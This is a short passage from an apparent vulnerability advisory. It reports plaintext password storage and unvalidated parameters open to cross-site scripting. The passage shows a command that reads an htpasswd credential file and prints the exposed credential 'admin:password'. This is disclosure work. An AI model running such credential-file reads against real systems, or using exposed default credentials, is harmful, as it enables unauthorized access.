    * Insecure Cryptographic Storage: 

There is no password hashing implemented and so it is saved in plain text on the system:
cat /tmp/etc/htpasswd
admin:password

    * XSS 

Injecting scripts into the following parameters reveals that these parameters are not properly validated for malicious input. You need to be authenticated or you have to find other methods for inserting the malicious JavaScript code.
